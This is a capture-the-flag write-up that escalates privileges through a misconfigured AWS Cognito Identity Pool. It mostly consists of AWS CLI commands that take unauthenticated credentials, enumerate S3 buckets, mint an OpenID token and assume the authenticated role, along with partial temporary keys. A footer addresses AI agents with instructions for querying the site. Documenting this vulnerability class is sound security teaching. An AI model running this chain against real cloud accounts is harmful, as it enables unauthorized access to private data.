# Beta app - Hackअस्त्र 2026

#### **Event**: \[Hackअस्त्र CTF]\(<https://ctftime.org/event/3270>) on CTFtime

### Overview

This challenge is a classic **AWS Cognito Identity Pool misconfiguration** a real-world vulnerability class that has leaked sensitive data from dozens of production apps. The core idea: a mobile app's frontend accidentally exposed its AWS configuration in plain HTML, and the Cognito Identity Pool was configured to allow unauthenticated users to **escalate to the authenticated role** without any actual authentication. Let's walk through every step.

***Attack Chain Diagram***

<figure><img src="/files/xXe8Bwquq6P4NakiS54z" alt=""><figcaption></figcaption></figure>

### Attack Chain

### Step 1  Visiting the Target

Opening the provided link led to a simple page at `beta.challenge.hackastra.tech`:

```
Welcome to MobileApp Beta
Our new federated identity backend is now live!
Status: Connected
```

<figure><img src="/files/ZV8JJAFlkT9su7ljoP0W" alt=""><figcaption></figcaption></figure>

Nothing interesting on the surface. But in CTFs (and real-world pentests), **always view the page source**. Developers frequently hardcode config values directly into JavaScript on the frontend especially during beta phases. Hit `Ctrl+U` to view source.

<figure><img src="/files/MWPiYu8deMSHjTz4CidA" alt=""><figcaption></figcaption></figure>

***

### Step 2 Leaking AWS Config from Source Code

The page source revealed this JavaScript block embedded directly in the HTML:

```javascript
const awsConfig = {
  aws_project_region: "us-east-1",
  aws_cognito_identity_pool_id: "us-east-1:08d85402-467a-4354-becc-97a9a5c549bd",
  aws_cognito_region: "us-east-1",
  aws_user_files_s3_bucket: "mobileapp-mobile-assets-l9tp4r7x",
  aws_user_files_s3_bucket_region: "us-east-1"
};
```

**Why this matters:** In legitimate apps, this config is used by the AWS Amplify SDK running in the user's browser to connect to backend services. The S3 bucket name and Cognito Identity Pool ID are supposed to be semi-public but only if the IAM roles attached to the pool are configured securely. Here, they weren't.

We now have two critical pieces:

* **Cognito Identity Pool ID:** `us-east-1:08d85402-467a-4354-becc-97a9a5c549bd`
* **S3 Bucket:** `mobileapp-mobile-assets-l9tp4r7x`

***

### Step 3  Understanding AWS Cognito Identity Pools

Before proceeding, a quick primer on how this service works:

AWS Cognito Identity Pools let you grant AWS credentials to users both **authenticated** (logged-in) and **unauthenticated** (anonymous/guest). Each type gets its own IAM role with different permissions. The pool issues temporary AWS credentials via STS (Security Token Service).

In a properly secured setup, the authenticated role should only be assumable by users who have **actually proven their identity** (via a login provider like Google, Facebook, or Cognito User Pools). The misconfiguration here let us bypass that.

***

### Step 4 Getting a Cognito Identity ID

The first AWS API call is to register ourselves as an anonymous identity in the pool:

```bash
aws cognito-identity get-id \
  --identity-pool-id "us-east-1:08d85402-467a-4354-becc-97a9a5c549bd" \
  --region us-east-1
```

<figure><img src="/files/eBw4lJn5YmIf9KVF49CH" alt=""><figcaption></figcaption></figure>

This returned a unique identity ID:

Think of this like a guest pass we're now a recognized (but untrusted) identity in the system.

***

### Step 5  Getting Temporary Credentials (Unauthenticated Role)

With an identity ID, we can request temporary AWS credentials:

```bash
aws cognito-identity get-credentials-for-identity \
  --identity-id "us-east-1:9e65bd7c-04d7-c634-75f9-6bdbc3fac4da" \
  --region us-east-1
```

```json
{
    "IdentityId": "us-east-1:9e65bd7c-04d7-c634-75f9-6bdbc3fac4da",
    "Credentials": {
        "AccessKeyId": "ASIAZ4ZN5PQCMSXYJKAW",
        "SecretKey": "LKI5XpSe+w9NMiVGkokFBrL3k+6HR3zmwunLrca5",
        "SessionToken": "IQoJb3JpZ21--SNIP--",
        "Expiration": 1780147259.0
    }
```

This returned a full set of short-lived credentials (Access Key, Secret Key, Session Token). We exported them:

```bash
export AWS_ACCESS_KEY_ID="ASIAZ4ZN5PQCGYVHIF6N"
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
export AWS_DEFAULT_REGION="us-east-1"
```

We're now acting as the **unauthenticated IAM role**  a read-only guest.

<figure><img src="/files/okfGGm8BKoCm1PwSJXAO" alt=""><figcaption></figcaption></figure>

***

### Step 6  Enumerating the Public S3 Bucket

With these credentials, let's see what's in the public assets bucket:

```bash
aws s3 ls s3://mobileapp-mobile-assets-l9tp4r7x/ --recursive
```

<figure><img src="/files/7N3A22w7BmZeEDPhmnHi" alt=""><figcaption></figcaption></figure>

Browsing through the files, one stood out immediately  `config/backend-roles.json`. We downloaded and read it:

```bash
aws s3 cp s3://mobileapp-mobile-assets-l9tp4r7x/config/backend-roles.json .
cat backend-roles.json | jq .
```

<figure><img src="/files/AO5VarXk2Dc6G6hkmbRZ" alt=""><figcaption></figcaption></figure>

json

```json
{
  "environment": "beta",
  "roles": {
    "authenticated": {
      "arn": "arn:aws:iam::680311749636:role/mobileapp_cognito_auth_role",
      "storage": "mobileapp-premium-content-l9tp4r7x"
    },
    "unauthenticated": {
      "arn": "arn:aws:iam::680311749636:role/mobileapp_cognito_auth_role",
      "storage": "mobileapp-mobile-assets-l9tp4r7x"
    }
  },
  "version": "1.2"
}
```

This is a goldmine. The developers left a config file accessible to anyone that reveals:

* The **authenticated role ARN** we need to escalate to
* The **premium S3 bucket** name: `mobileapp-premium-content-l9tp4r7x`

The flag is almost certainly in the premium bucket. We just need to become "authenticated."

***

### Step 7  Privilege Escalation via Cognito OpenID Token

Here's where the key misconfiguration is exploited. Normally, to assume the authenticated role you'd need a real identity provider token (from Google, Facebook, etc.). But Cognito has its own internal mechanism: `get-open-id-token`.

This call generates an OpenID token for *our own* Cognito identity — essentially telling AWS "trust me, I'm this identity":

```bash
TOKEN=$(aws cognito-identity get-open-id-token \
  --region us-east-1 \
  --identity-id "us-east-1:9e65bd7c-048b-cf5f-d659-c17f3912b80a" \
  --query Token \
  --output text)
```

<figure><img src="/files/FZ3oodRxOFaFg5bHA5mJ" alt=""><figcaption></figcaption></figure>

The misconfiguration: the Identity Pool was **not configured with a trust condition** requiring a specific login provider. This means our unauthenticated identity could generate a valid OpenID token and use it to assume the authenticated role.

We passed this token to STS:

```bash
aws sts assume-role-with-web-identity \
  --region us-east-1 \
  --role-arn "arn:aws:iam::680311749636:role/mobileapp_cognito_auth_role" \
  --role-session-name "ctf-attack" \
  --web-identity-token "$TOKEN"
```

<figure><img src="/files/X2oSOhU6wBEcrNCvEeJs" alt=""><figcaption></figcaption></figure>

This returned a **new, elevated set of credentials** now acting as the authenticated role.

### Step 8 Accessing the Premium Bucket and Capturing the Flag

We exported the new credentials and accessed the premium bucket:

```bash
export AWS_ACCESS_KEY_ID="ASIAZ4ZN5PQCPIU5Y2--REDUCTED"
export AWS_SECRET_ACCESS_KEY="kW0rDkvOGDBziydQkrsid8VTolN7Qaad1CtC--"
export AWS_SESSION_TOKEN="--SNIP--"
export AWS_DEFAULT_REGION="us-east-1"
```

```bash
 aws sts get-caller-identity
```

<figure><img src="/files/Z2zxRUDKtMQbsCFSPPal" alt=""><figcaption></figcaption></figure>

```shellscript
aws s3 cp s3://mobileapp-premium-content-l9tp4r7x/flag.txt .
```

### Vulnerability Summary

The attack chain exploited two layered mistakes:

| Issue                                                                                                 | Impact                                                 |
| ----------------------------------------------------------------------------------------------------- | ------------------------------------------------------ |
| AWS config hardcoded in HTML source                                                                   | Identity Pool ID and bucket name leaked                |
| `backend-roles.json` publicly readable                                                                | Authenticated role ARN and premium bucket name exposed |
| Cognito Identity Pool allows unauthenticated → authenticated escalation without a real login provider | Full privilege escalation without any credentials      |

The flag itself spells out the lesson: **don't trust the Cognito auth role without conditions** meaning the IAM trust policy on the authenticated role must include a condition that restricts which login providers are accepted. Without that condition, anyone with a Cognito identity (including anonymous users) can escalate.

### References

**In the "Understanding AWS Cognito Identity Pools" section (Step 3)**, add at the end:

> *For a deeper dive into this vulnerability class,* [*Hacking The Cloud's writeup on Overpermissioned Cognito Identity Pools*](https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/) *is an excellent reference.*

<figure><img src="/files/T7vAHNH5Hl1naWZiAJYU" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://l1nuxkid.gitbook.io/l1nuxkid-docs/ctftime.org-writeups/beta-app-hack-2026.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
